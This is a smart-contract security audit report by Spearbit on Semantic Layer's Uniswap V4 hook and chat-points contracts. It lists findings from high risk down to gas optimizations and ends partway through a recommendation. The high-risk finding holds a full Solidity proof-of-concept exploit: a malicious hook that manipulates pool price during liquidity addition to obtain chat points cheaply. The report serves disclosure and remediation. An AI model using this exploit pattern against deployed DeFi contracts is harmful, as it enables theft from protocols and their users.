SPEARBIT

Semantic Layer Security Review

Auditors

Noah Marconi, Lead Security Researcher

Mario Poneder, Security Researcher

Tnch, Security Researcher

Report prepared by: Lucas Goiriz

July 27, 2025

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Semantic Layer is bringing better incentive alignment to dApps, enabling MEV internalization and sequencing sovereignty.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of Semantic Layer according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 5 days in total, Semantic Layer engaged with Spearbit to review the semantic-layer protocol. In this period of time a total of **33** issues were found.

Summary

Project Name	Semantic Layer
Repository	semantic-layer
Commit	5a15bd75
Type of Project	DeFi, Hooks
Audit Timeline	May 2nd to May 7th

Issues Found

Severity	**Count**	**Fixed**	**Acknowledged**
Critical Risk	0	0	0
High Risk	1	1	0
Medium Risk	1	1	0
Low Risk	7	5	2
Gas Optimizations	5	1	4
Informational	19	9	10
Total	**33**	**17**	**16**

5 Findings

5.1 High Risk

5.1.1 Chat points manipulation by adding liquidity to custom pools via `SVFHook` contract

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: The `addLiquidity` function of the `SVFHook` contract is intended for users to increase their available chat points by depositing liquidity (WETH/SVF) into a Uniswap V4 pool. The function allows callers to specify the key of the pool they add liquidity to using the `key` parameter.

However, the function does not enforce that the given pool key is indeed associated with the `SVFHook` contract. Which allows adding liquidity to other Uniswap V4 pools that trade the same tokens via `SVFHook::addLiquidity`. This can result in users abusing this functionality by deploying their custom pools with malicious hooks attached, adding liquidity to their own pools, and still increase their chat points in the system at lower costs than if they did it via other means.

One possible attack vector would be as follows:

1. Attacker deploys a malicious hook that is able to alter liquidity before and after it's added to a pool (that is, setting hook flags `BEFORE_ADD_LIQUIDITY_FLAG`, `AFTER_ADD_LIQUIDITY_FLAG` and `AFTER_ADD_LIQUIDITY_-RETURNS_DELTA_FLAG`).
2. Attacker deploys a custom Uniswap V4 pool to trade SVF / WETH, attaching the hook deployed in (1).
3. In `addLiquidity`, the liquidity to mint is based on the price at the beginning of the execution. This means the attacker can now leverage their hooks to freely alter the actual price at which liquidity is added (different from the initial price queried by the system), and get chat points at lower costs than expected.
4. Because the attacker managed to alter the price at will to benefit their position, now the attacker can take advantage of the refunds from the `SVFHook` to recover part of the actual assets provided at first.

Proof of Concept: In the `test_spearbit_addLiquidityCustomPoolWithHook` function below, we've developed a test case building upon the test scenarios available in `SVFHook.t.sol`, which showcases one possible case of exploiting the vulnerability described:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import "forge-std/Test.sol";
import {IHooks} from "v4-core/src/interfaces/IHooks.sol";
import {Hooks} from "v4-core/src/libraries/Hooks.sol";
import {TickMath} from "v4-core/src/libraries/TickMath.sol";
import {SqrtPriceMath} from "v4-core/src/libraries/SqrtPriceMath.sol";
import {IPoolManager} from "v4-core/src/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/src/types/PoolKey.sol";
import {BalanceDelta} from "v4-core/src/types/BalanceDelta.sol";
import {PoolId, PoolIdLibrary} from "v4-core/src/types/PoolId.sol";
import {CurrencyLibrary, Currency} from "v4-core/src/types/Currency.sol";
import {PoolSwapTest} from "v4-core/src/test/PoolSwapTest.sol";
import {StateLibrary} from "v4-core/src/libraries/StateLibrary.sol";
import {SafeCast} from "v4-core/src/libraries/SafeCast.sol";
import {LiquidityAmounts} from "v4-core/test/utils/LiquidityAmounts.sol";
import {IPositionManager} from "v4-periphery/src/interfaces/IPositionManager.sol";
import {EasyPosm} from "./utils/EasyPosm.sol";
import {Fixtures} from "./utils/Fixtures.sol";
import {ERC721, ERC721TokenReceiver} from "solmate/src/tokens/ERC721.sol";
import "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";

import "../src/hook/SVFHook.sol";
import "../src/Master42.sol";
import "../src/SVFToken.sol";
import "../src/Warehouse13.sol";
import "../src/Vesting.sol";
import {WETH} from "solmate/src/tokens/WETH.sol";
import {Upgrades} from "openzeppelin-foundry-upgrades/Upgrades.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

import {BaseHook} from "v4-periphery/src/utils/BaseHook.sol";
import {BalanceDeltaLibrary} from "v4-core/src/types/BalanceDelta.sol";
import {toBalanceDelta} from "v4-core/src/types/BalanceDelta.sol";

import {Deployers} from "v4-core/test/utils/Deployers.sol";

// The attacker's hook contract that will be attached to their custom Uniswap V4 pool
contract BadLiquidityHook is BaseHook {
    uint160 public constant MIN_PRICE_LIMIT = TickMath.MIN_SQRT_PRICE + 1;
    uint160 public constant MAX_PRICE_LIMIT = TickMath.MAX_SQRT_PRICE - 1;
    BalanceDelta swapDelta;

    bool hasLiquidity;

    constructor(IPoolManager _manager) BaseHook(_manager) {}

    function _beforeAddLiquidity(
        address,
        PoolKey calldata poolKey,
        IPoolManager.ModifyLiquidityParams calldata,
        bytes calldata
    ) internal override returns (bytes4) {
        if (hasLiquidity) {
            bool zeroForOne = true;
            swapDelta = poolManager.swap(
                poolKey,
                IPoolManager.SwapParams(
                    zeroForOne, 100_000_000_000 ether, zeroForOne ? MIN_PRICE_LIMIT : MAX_PRICE_LIMIT
                ),
                bytes("")
            );
        }
        return IHooks.beforeAddLiquidity.selector;
    }

    function _afterAddLiquidity(
        address sender,
        PoolKey calldata key,
        IPoolManager.ModifyLiquidityParams calldata params,
        BalanceDelta delta,
        BalanceDelta feesAccrued,
        bytes calldata hookData
    ) internal override returns (bytes4, BalanceDelta) {
        if (hasLiquidity) {
            bool zeroForOne = false;
            swapDelta = poolManager.swap(
                key,
                IPoolManager.SwapParams(zeroForOne, swapDelta.amount1(), zeroForOne ? MIN_PRICE_LIMIT :
                ↪  MAX_PRICE_LIMIT),
                bytes("")
            );
        }
        return (BaseHookUpgradeable.afterAddLiquidity.selector, toBalanceDelta(0, 0));
    }
    function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
        return Hooks.Permissions({
            beforeInitialize: false,
            afterInitialize: false,
            beforeAddLiquidity: true,
            afterAddLiquidity: true,
            beforeRemoveLiquidity: false,
            afterRemoveLiquidity: false,
            beforeSwap: false,
            afterSwap: false,
            beforeDonate: false,
            afterDonate: false,
            beforeSwapReturnDelta: false,
            afterSwapReturnDelta: false,
            afterAddLiquidityReturnDelta: true,
            afterRemoveLiquidityReturnDelta: false
        });
    }
}

contract SVFHookTest is Test, Fixtures, ERC721TokenReceiver {
    using SafeCast for int128;
    using EasyPosm for IPositionManager;
    using PoolIdLibrary for PoolKey;
    using CurrencyLibrary for Currency;
    using StateLibrary for IPoolManager;

    uint256 constant MAX_DEADLINE = 12329839823;
    uint160 SQRT_5000_1 = 5602277097478613991873193822745; //price = token1/token0 = 5000/1 = 5000
    uint160 SQRT_2000_1 = 3543190000000000000000000000000; //price = token1/token0 = 2000/1 = 2000
    uint160 SQRT_2100000_10 = 36306905189387912912677825629223;
    uint256 internal ownerPrivateKey = 0xad111;
    address internal owner = vm.addr(ownerPrivateKey);
    uint256 internal aiPrivateKey = 0x0d3;
    address internal ai = vm.addr(aiPrivateKey);
    uint256 internal daoPrivateKey = 0xda0;
    address internal dao = vm.addr(daoPrivateKey);

    int24 MIN_TICK;
    int24 MAX_TICK;
    int24 constant MAX_TICK_SPACING = 32767;

    SVFHook hook;
    SVFToken svftoken;
    Warehouse13 warehouse13;
    Master42 master42;
    Vesting vesting;
    PoolId poolId;
    Currency wethCurrency;
    Currency svfCurrency;
    uint256 svfTotalSupply = 42_000_000 ether;

    function setUp() public {
        vm.label(owner, "owner");

        deployFreshManagerAndRouters();

        // those setup function calls the token.approve function for approval which do not work for eth.
        ↪  so we just deploy a random currency0 here.
        wethCurrency = deployMintAndApproveWETH();
        svfCurrency = deployMintAndApproveSVF();
```

```
//MockERC20(address(Currency.unwrap(svfCurrency))).mint(address(this), 5000e18);

//Deploy and approve posm
deployPosmWETH(manager);
approvePosmCurrency(wethCurrency);
approvePosmCurrency(svfCurrency);

// Deploy warehouse13
address warehouse13Proxy = Upgrades.deployUUPSProxy(
    "out/Warehouse13.sol/Warehouse13.json",
    abi.encodeCall(Warehouse13.initialize, (address(svftoken), address(dao), address(ai)))
);
warehouse13 = Warehouse13(warehouse13Proxy);
vm.label(address(warehouse13), "warehouse13");

//Deploy vesting contract
uint256 vestingAmount = svfTotalSupply * 90 / 100;
vesting = new Vesting(address(svftoken), address(warehouse13), vestingAmount, block.timestamp);

// Deploy Master42
address master42Proxy = Upgrades.deployUUPSProxy(
    "out/Master42.sol/Master42.json",
    abi.encodeCall(Master42.initialize, (address(owner), address(ai), 10000000))
);
master42 = Master42(master42Proxy);
vm.label(address(master42), "master42");

// Mint tokens to provide liquidity and send the rest to the warehouse13
// 21M go to the warehouse13 and the other 21M to provide liquidity
vm.prank(dao);
svftoken.mint();
vm.stopPrank();
console.log("svftoken total supply after mint", svftoken.totalSupply());

// Transfer required SVF from DAO to test contract for initial liquidity
uint256 initialSvfLiquidityAmount = svfTotalSupply * 5 / 100;
vm.prank(dao);
svftoken.transfer(address(this), initialSvfLiquidityAmount);
vm.stopPrank();

// Transfer vesting amount from DAO to Vesting contract
vm.prank(dao);
svftoken.transfer(address(vesting), vestingAmount);
vm.stopPrank();

// Set vesting contract address in warehouse13
vm.startPrank(address(dao));
warehouse13.setVestingAddress(address(vesting));
vm.stopPrank();

// Deploy the hook to an address with the correct flags
address flags = address(
    uint160(Hooks.BEFORE_INITIALIZE_FLAG) ^ (0x4444 << 144) // Namespace the hook to avoid
    ↪ collisions
);
SVFHook hookImpl = new SVFHook();
// 2. find hook proxy address
bytes memory initializerData = abi.encodeCall(
    SVFHook.initialize, (address(owner), address(manager), payable(address(posm)),
    ↪ address(master42))
);
```

```
bytes memory constructorArgs = abi.encode(address(hookImpl), initializerData); //Add all the
↪  necessary constructor arguments from the hook
deployCodeTo("ERC1967Proxy.sol:ERC1967Proxy", constructorArgs, flags);
hook = SVFHook(flags);
vm.label(address(hook), "hook");

// approve hook
svftoken.approve(address(hook), type(uint256).max);
weth.approve(address(hook), type(uint256).max);

// Whitelist token
vm.startPrank(owner);
hook.updateTokenWhitelists(Currency.unwrap(svfCurrency), true);
vm.stopPrank();

// init a pool
key = PoolKey(wethCurrency, svfCurrency, 10_000, 3000, IHooks(address(hook)));
poolId = key.toId();
manager.initialize(key, SQRT_2100000_10);

// Update the SVFHook address
vm.startPrank(owner);
master42.setHookAddressAndPoolId(address(hook), key.toId());
vm.stopPrank();

vm.startPrank(owner);
master42.addPool(100, address(hook)); // lp token address
master42.addPool(100, address(svftoken)); // svf token
vm.stopPrank();

MIN_TICK = TickMath.minUsableTick(key.tickSpacing);
MAX_TICK = TickMath.maxUsableTick(key.tickSpacing);

// add some initial liquidity with svf and eth to the pool
//console.log("svf initial balance",  5000e18); // it should be 5000e18
uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1(
    TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK),
    ↪  svfTotalSupply * 5 / 100
);
uint256 amount0 = LiquidityAmounts.getAmount0ForLiquidity(
    TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), liquidity
);
//vm.deal(user, 100 ether);

console.log("initial liquidity", liquidity);
console.log("initial amount of ETH", amount0);

(uint160 sqrtPriceX96,,,) = manager.getSlot0(key.toId());

console.log("initial sqrt price", sqrtPriceX96);

uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmounts(
    sqrtPriceX96,
    TickMath.getSqrtPriceAtTick(MIN_TICK),
    TickMath.getSqrtPriceAtTick(MAX_TICK),
    10e18,
    initialSvfLiquidityAmount
);

console.log(
    "balance of svf before providing liquidity",
    ↪  IERC20(Currency.unwrap(svfCurrency)).balanceOf(address(this))
    );
    console.log("liquidity delta value", liquidityDelta);

    // Get some WETH
    uint256 wethAmount = 10 ether;
    weth.deposit{value: wethAmount}();

    modifyLiquidityRouter.modifyLiquidity(
        key,
        IPoolManager.ModifyLiquidityParams({
            tickLower: TickMath.minUsableTick(key.tickSpacing),
            tickUpper: TickMath.maxUsableTick(key.tickSpacing),
            liquidityDelta: int128(liquidityDelta),
            salt: 0
        }),
        ZERO_BYTES
    );

    console.log("initial liquidity delta", liquidityDelta);
    console.log(
        "balance of svf after providing liquidity",
        ↪  IERC20(Currency.unwrap(svfCurrency)).balanceOf(address(this))
    );

    //seedLiquidity(key, amount0, 50e18, MIN_TICK, MAX_TICK);
}

function deployMintAndApproveSVF() internal returns (Currency currency) {
    svftoken = new SVFToken("SVF Token", "SVF", 18, dao);

    address[9] memory toApprove = [
        address(swapRouter),
        address(swapRouterNoChecks),
        address(modifyLiquidityRouter),
        address(modifyLiquidityNoChecks),
        address(donateRouter),
        address(takeRouter),
        address(claimsRouter),
        address(nestedActionRouter.executor()),
        address(actionsRouter)
    ];

    for (uint256 i = 0; i < toApprove.length; i++) {
        svftoken.approve(toApprove[i], type(uint256).max);
    }

    return Currency.wrap(address(svftoken));
}

function deployMintAndApproveWETH() internal returns (Currency currency) {
    weth = new WETH();

    address[9] memory toApprove = [
        address(swapRouter),
        address(swapRouterNoChecks),
        address(modifyLiquidityRouter),
        address(modifyLiquidityNoChecks),
        address(donateRouter),
        address(takeRouter),
        address(claimsRouter),
        address(nestedActionRouter.executor()),
        address(actionsRouter)
    ];

    for (uint256 i = 0; i < toApprove.length; i++) {
        weth.approve(toApprove[i], type(uint256).max);
    }

    return Currency.wrap(address(weth));
}

function calculatePositionKey(address owner, int24 tickLower, int24 tickUpper, bytes32 salt)
    internal
    pure
    returns (bytes32 positionKey)
{
    // positionKey = keccak256(abi.encodePacked(owner, tickLower, tickUpper, salt))
    assembly ("memory-safe") {
        let fmp := mload(0x40)
        mstore(add(fmp, 0x26), salt) // [0x26, 0x46)
        mstore(add(fmp, 0x06), tickUpper) // [0x23, 0x26)
        mstore(add(fmp, 0x03), tickLower) // [0x20, 0x23)
        mstore(fmp, owner) // [0x0c, 0x20)
        positionKey := keccak256(add(fmp, 0x0c), 0x3a) // len is 58 bytes

        // now clean the memory we used
        mstore(add(fmp, 0x40), 0) // fmp+0x40 held salt
        mstore(add(fmp, 0x20), 0) // fmp+0x20 held tickLower, tickUpper, salt
        mstore(fmp, 0) // fmp held owner
    }
}

function seedLiquidity(PoolKey memory _key, uint256 amount0, uint256 amount1, int24 tickLower,
↪   int24 tickUpper)
    internal
    returns (BalanceDelta delta)
{
    (uint160 sqrtPriceX96,,,) = manager.getSlot0(_key.toId());
    uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmounts(
        sqrtPriceX96,
        TickMath.getSqrtPriceAtTick(tickLower),
        TickMath.getSqrtPriceAtTick(tickUpper),
        amount0,
        amount1
    );

    IPoolManager.ModifyLiquidityParams memory params = IPoolManager.ModifyLiquidityParams({
        tickLower: tickLower,
        tickUpper: tickUpper,
        liquidityDelta: int128(liquidityDelta),
        salt: 0
    });

    delta = modifyLiquidityRouter.modifyLiquidity(_key, params, ZERO_BYTES);
}

// Run with `forge clean && forge test --via-ir --mt test_spearbit_addLiquidityCustomPoolWithHook
↪   -vvvv`
function test_spearbit_addLiquidityCustomPoolWithHook() public {
    address attacker = makeAddr("attacker");

    // As seen in tests in Master42.t.sol
    uint128 liquidity = 10;
    vm.mockCall(
        address(hook),
        abi.encodeWithSelector(ISVFHook.totalLockedFullRangeLiquidity.selector,
            ↪  PoolId.unwrap(master42.poolId())),
        abi.encode(liquidity)
    );

    address flags = address(
        uint160(
            type(uint160).max & clearAllHookPermissionsMask | Hooks.AFTER_ADD_LIQUIDITY_FLAG
                | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.AFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG
        )
    );
    deployCodeTo("MaliciousHook.t.sol:BadLiquidityHook", abi.encode(manager), flags);

    PoolKey memory attackerPoolKey =
        PoolKey({currency0: wethCurrency, currency1: svfCurrency, fee: 0, tickSpacing: 3000, hooks:
            ↪  IHooks(flags)});

    assertNotEq(PoolId.unwrap(attackerPoolKey.toId()), PoolId.unwrap(master42.poolId()));

    vm.startPrank(attacker);
    manager.initialize(attackerPoolKey, SQRT_2100000_10);

    deal(address(svftoken), attacker, 1e18);
    deal(address(weth), attacker, 1e18);
    svftoken.approve(address(hook), type(uint256).max);
    weth.approve(address(hook), type(uint256).max);

    // Needs some initial liquidity
    (uint256 uniNFTId,,) = hook.addLiquidity(
        attackerPoolKey,
        SVFHook.AddLiquidityParams({amount0Desired: 1e18, amount1Desired: 1e18, deadline:
            ↪  MAX_DEADLINE})
    );

    // Estimated liquidity
    (uint160 staringSqrtPriceX96,,,) = manager.getSlot0(poolId);
    uint256 amt0 = 5 ether;
    uint256 amt1 = 5 ether;
    uint128 estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts(
        staringSqrtPriceX96,
        TickMath.getSqrtPriceAtTick(MIN_TICK),
        TickMath.getSqrtPriceAtTick(MAX_TICK),
        amt0,
        amt1
    );

    console.log("Initial estimatedLiquidity", estimatedLiquidity);

    // Now second addLiquidity call to trigger the attack
    deal(address(svftoken), attacker, amt0);
    deal(address(weth), attacker, amt1);

    // Attacker adds liquidity to their pool via the hook's addLiquidity function. This should:
    // 1. Add the liquidity to the attacker's pool, invoking the attacker's hook
    // 2. Register a valid deposit in the `Master42` contract
    (uniNFTId,,) = hook.addLiquidity(
        attackerPoolKey,
        SVFHook.AddLiquidityParams({amount0Desired: amt0, amount1Desired: amt1, deadline:
            ↪  MAX_DEADLINE})
    );
```

```
        bytes32 positionKey = calculatePositionKey(address(posm), MIN_TICK, MAX_TICK,
        ↪  bytes32(uniNFTId));
        uint128 actualLiquidity = manager.getPositionLiquidity(attackerPoolKey.toId(), positionKey);
        console.log("actualLiquidity", actualLiquidity);

        // Attacker minted hook NFTs
        assertEq(hook.balanceOf(attacker), 2);

        // Attacker registered deposit in Master42
        (uint256 amount, uint256 pointsDebt) = master42.userInfo(0, attacker);
        assertGt(amount, 0);
        assertEq(pointsDebt, 0);

        vm.warp(1 days);

        // Attacker now has chat points available
        assertGt(master42.availablePoints(attacker), 0);
        vm.stopPrank();
    }

    // [...]
}
```

Recommendation: Validate that the user-controlled keys passed as parameters to the functions in `SVFHook` are correctly validated, making sure they correspond to the expected Uniswap V4 pools that use the `SVFHook` contract.

Semantic Layer: Fixed in PR 5.

Spearbit: Fix verified.

5.2 Medium Risk

5.2.1 The `assignTeam` modifier does not revert on a mismatching team

Severity: Medium Risk

Context: Copium.sol#L57-L64, Copium.sol#L102-L116

Summary: The `assignTeam` modifier does not revert when a user specifies a different `_team` than the one they were initially assigned to. This can lead to incorrect deposit accounting in the `createYeet` method, where `teamDeposits` is credited to the wrong team.

Finding Description: The `assignTeam` modifier is intended to assign a user to a team if they have not already been assigned. However, it does not validate that the `_team` parameter matches the user's existing team in `userTeams`. As a result, when a user calls `createYeet` with a different `_team`, the deposit is credited to the new team, even though the user's `userTeams` mapping remains unchanged.

Impact Explanation:

1. Incorrect deposit tracking: Deposits are credited to the wrong team, leading to inconsistencies in the `teamDeposits` mapping.
2. Potential exploitation: A malicious user could manipulate team deposit totals by repeatedly calling `createYeet` with different `_team` values.

Likelihood Explanation: It requires minimal effort for a user to specify a different `_team` in the `createYeet` method, which can originate from a mistake or malicious intent.

Recommendation: It is recommended to update the `assignTeam` modifier to revert if the user specifies a `_team` that differs from their already assigned team:

```
modifier assignTeam(address _user, Team _team) {
    if (_team == Team.None) revert InvalidTeam();
    if (userTeams[_user] == Team.None) {
        userTeams[_user] = _team;
        addressByTeam[_team].push(_user);
    } else if (userTeams[_user] != _team) {
        revert TeamAlreadyAssigned();
    }
    _;
}
```

Semantic Layer: Fixed in PR 1.

Spearbit: Fix verified.

5.3 Low Risk

5.3.1 Hardcoded word limit in `Copium` causes inconsistency with `Master42`

Severity: Low Risk

Context: Master42.sol#L127-L130, Copium.sol#L102-L112

Description: The `createYeet` function in the `Copium` contract enforces a hardcoded word limit of 1000 characters for user messages:

```
require(bytes(_message).length <= 1000, MessageTooLong());
```

In contrast, the `Master42` contract allows the owner to dynamically adjust the `wordLimit` using the `update-WordLimit` function. This discrepancy can lead to inconsistent behavior between the two contracts, especially if they are expected to operate under the same word limit rules.

Recommendation: It is recommended to add a `wordLimit` variable and a setter function in the `Copium` contract to allow the owner to update the word limit, ensuring it can be synchronized with the `Master42` contract.

Semantic Layer: Fixed in PR 3.

Spearbit: Fix verified.

5.3.2 Inconsistency between `hook` and `supportedTokens[0]` due to `setHookAddressAndPoolId` method

Severity: Low Risk

Context: ChatPoints.sol#L43-L54, Master42.sol#L106-L110

Description: The `setHookAddressAndPoolId` method allows the owner to change the `hook` address after it has been added as `supportedTokens[0]` in the `_addPool` method. This creates an inconsistency between the `hook` and `supportedTokens[0]`, as the `supportedTokens[0]` value will still reference the old `hook` address, while the `hook` variable will point to the new address. This inconsistency can lead to unexpected behavior in methods that rely on `supportedTokens[0]` to represent the `hook`.

For example, if the `hook` is changed after being added as `supportedTokens[0]`, methods like `deposit` and `with-draw` will behave incorrectly because they rely on `supportedTokens[0]` to represent the `hook`.

Recommendation: It is recommended to implement one of the following mitigation measures:.

1. Prevent changing the hook after initialization. Disallow the `setHookAddressAndPoolId` method from being called after the `hook` has been added as `supportedTokens[0]`. This ensures consistency between `hook` and `supportedTokens[0]`:

```
function setHookAddressAndPoolId(address _hook, PoolId _poolId) public onlyOwner
↪  noZeroAddress(_hook) {
   if (supportedTokens.length > 0 && address(supportedTokens[0]) == address(hook)) {
       revert HookAlreadySet();
   }
   emit SetHookAddressAndPoolId(_hook, _poolId);
   hook = ISVFHook(_hook);
   poolId = _poolId;
}
```

2. Update `supportedTokens[0]` when changing the hook: If changing the `hook` is necessary, implement functionality to update `supportedTokens[0]` to reflect the new `hook` address.

```
function setHookAddressAndPoolId(address _hook, PoolId _poolId) public onlyOwner
↪  noZeroAddress(_hook) {
   emit SetHookAddressAndPoolId(_hook, _poolId);
   hook = ISVFHook(_hook);
   poolId = _poolId;

   if (supportedTokens.length > 0) {
       supportedTokens[0] = IERC20(_hook);
   }
}
```

Semantic Layer: Fixed in PR 8.

Spearbit: Fix verified.

5.3.3 Missing slippage checks in `addLiquidity` and `removeLiquidity` methods

Severity: Low Risk

Context: SVFHook.sol#L120-L163, SVFHook.sol#L189-L210

Description: The `addLiquidity` method does not include a slippage check for the calculated `liquidity`, which could result in users receiving less liquidity than expected due to price fluctuations. Similarly, the `removeLiquidity` method passes `0` for `amount0Min` and `amount1Min` in the `positionManager.burn` call, which does not protect users from receiving less than the expected amounts of `token0` and `token1` when removing liquidity.

Recommendation: It is recommended to implement the following mitigation measures:

1. Add a `minLiquidity` parameter to `addLiquidity`. Introduce a `minLiquidity` parameter to the `AddLiquidityParams` struct and check that the calculated `liquidity` meets this minimum threshold:

```
if (liquidity < params.minLiquidity) revert InsufficientLiquidity();
```

2. Add `amount0Min` and `amount1Min` parameters to `removeLiquidity`. Allow the caller to specify `amount0Min` and `amount1Min` in the `RemoveLiquidityParams` struct and pass these values to the `positionManager.burn` call to enforce slippage protection:

```
delta = positionManager.burn(univ4NftId, params.amount0Min, params.amount1Min, msg.sender,
↪  params.deadline, "0x");
```

Semantic Layer: Fixed in PR 15.

Spearbit: Fix verified.

5.3.4 Tasks may be fulfilled out of order

Severity: Low Risk

Context: Copium.sol#L151

Description: So long as a task is pending, and `_taskId < nextTaskId`, the AI may fulfil them out of order. The caller is a trusted account, however, order does matter in case of a tie for high scores and team leader.

Recommendation: Enforce task fulfilment order for fairness in tied scores. In lieu of enforcing on chain, consider handling and enforcement on the backend.

Semantic Layer: In the backend, we have relevant measures to deal with all missed tasks (pending tasks), tasks can be completed out of order.

Semantic Layer: Acknowledged. We previously recommended handling all tasks in order, but later we changed to the current mode that allows unordered processing.

Spearbit: Acknowledged.

5.3.5 Incorrect approval in `SVFHook` contract

Severity: Low Risk

Context: SVFHook.sol#L279, SVFHook.sol#L280

Description: The `beforeInitialize` function of the `SVFHook` contract intends to approve the `token0` and `token1` assets to the `poolManager` contract. However, it fails to do so because the second approval is instead done to the `PERMIT2` address.

It's also worth noting that these approvals to the `poolManager` appear to be unnecessary, as the contract is approving the `positionManager` contract to handle tokens. This might be the reason why the incorrect approval described was left unnoticed.

Recommendation: Review the approvals in the `beforeInitialize` function, leaving only those strictly necessary for the system to work as intended. Do note that there's finding "Use of infinite approvals in the `SVFHook` contract" related to the infinite approvals used in the `beforeInitialize` function, which should also be considered when tackling this issue.

Semantic Layer: Fixed in PR 2.

Spearbit: Fix verified.

5.3.6 Potential denial of service during portfolio initialization in `Warehouse13` contract

Severity: Low Risk

Context: Warehouse13.sol#L199-L200

Description: The `initializeSVF` function of the `Warehouse13` contract is intended to be called by the contract's owner to initialize the portfolio, checking that the current SVF balance matches 5% of the total supply.

```
uint256 balance = ERC20(svfToken).balanceOf(address(this));
if ((totalSupply * 5) / 100 != balance) revert InvalidSVFBalance();
```

The strict balance check means that any donation of SVF tokens to the contract prior to the owner calling `initializeSVF` might cause a denial of service, because the balance won't match the expected amount. The likelihood of this occurring depends on the deployment and initialization process of the contract.

Recommendation: Consider reviewing the balance check performed during the `initializeSVF` function. One potential solution would involve changing the strict check for a greater-than-or-equal one, which would render any donation attempting to DoS the function pointless.

Semantic Layer: Acknowledged. We have two options:

- ==: This ensures that we have the exact quantity when initializing, preventing us from allocating the wrong number of SVF tokens. Moreover, even if a malicious user donation leads to a DoS, we can still redeploy the contract.

- `>=`: This is to prevent DoS caused by donation attacks. But I believe attackers have no reason to profit, and no one knows when we will deploy the project.

Overall, I think the possibility of an attack is extremely low. I recommend keeping it strictly equal to == to prevent us from allocating the wrong number of SVF tokens. If we use >=, then we will still pass if we accidentally allocate too many tokens.

Spearbit: Acknowledged.

5.3.7 Exercise caution around duplicate tokens

Severity: Low Risk

Context: ChatPoints.sol#L43

Description: Similar to `MasterChef` token balances are relied on for key calculations (`tokenSupply = supportedTokens[_pid].balanceOf(address(this));`). In the event two pools use the same token, each deposit counts toward the `tokenSupply` of both pools.

Recommendation: Exercise extreme caution or add additional validation to prevent admin error.

Semantic Layer: Fixed in PR 6.

Spearbit: Fix verified.

5.4 Gas Optimization

5.4.1 Unused `PoolManager.unlock` callback handling

Severity: Gas Optimization

Context: SafeCallbackUpgradeable.sol#L24-L32

Description: There are functions to handle unlocking of the `PoolManager` contract that are not in use. To add and remove liquidity, the `PositionManager` is used (where the `PositionManager` handles unlocking of the `PoolManager`). Otherwise the `PoolManager` is only used to call the `beforeInitialize` hook in `SVFHook`. In which case the caller is correctly validated to be the `PoolManager`.

Recommendation: Remove the unused functions.

Semantic Layer: Acknowledged. We will just keep this as it's also in the original uniswap v4 hook base contract.

Spearbit: Acknowledged.

5.4.2 Replace subtraction with constant

Severity: Gas Optimization

Context: Vesting.sol#L51

Description: `vestingEnd - vestingBegin` could be replaced with a constant of 3 years.

Semantic Layer: Acknowledged. This is optional, keeping `vestingEnd - vestingBegin` will be more readable and universal.

Spearbit: Acknowledged.

5.4.3 Using unchecked math can save small amounts of gas

Severity: Gas Optimization

Context: Copium.sol#L115-L116, Copium.sol#L235, Copium.sol#L255, Copium.sol#L298

Description: Where it its known that values cannot overflow, consider using unchecked math.

Semantic Layer: Acknowledged. We will keep the code as is.

Spearbit: Acknowledged.

5.4.4 Duplicate storage reads for `nft2UniNFT[tokenId]`

Severity: Gas Optimization

Context: LPLock.sol#L116

Description: The `redeemLP` reads `nft2UniNFT[tokenId]` from storage to apply the modifier, then again in `_burnLPProof` loads the value from storage.

Recommendation: Consider caching in a local variable and applying the validation then passing the value to `_burnLPProof`.

Semantic Layer: Acknowledged.

Spearbit: Acknowledged.

5.4.5 Short circuit `availablePoints` when `user.amount` is 0

Severity: Gas Optimization

Context: ChatPoints.sol#L258

Description: The main body of the for loop is unnecessary in the case `user.amount == 0`.

Recommendation:

```
 function availablePoints(address _user) public view returns (uint256) {
     uint256 availableAmount = points[_user];
     uint256 pending = 0;
     for (uint256 _pid = 0; _pid < poolInfo.length; _pid++) {
         PoolInfo memory pool = poolInfo[_pid];
         UserInfo memory user = userInfo[_pid][_user];
+         if (user.amount == 0) { continue; }
         uint256 accPointsPerShare = pool.accPointsPerShare;

         uint256 tokenSupply = 0;
         if (_pid == 0) {
             tokenSupply = hook.totalLockedFullRangeLiquidity(poolId);
         } else {
             tokenSupply = supportedTokens[_pid].balanceOf(address(this));
         }

         if (block.timestamp > pool.lastPointsRewardTimestamp && tokenSupply != 0) {
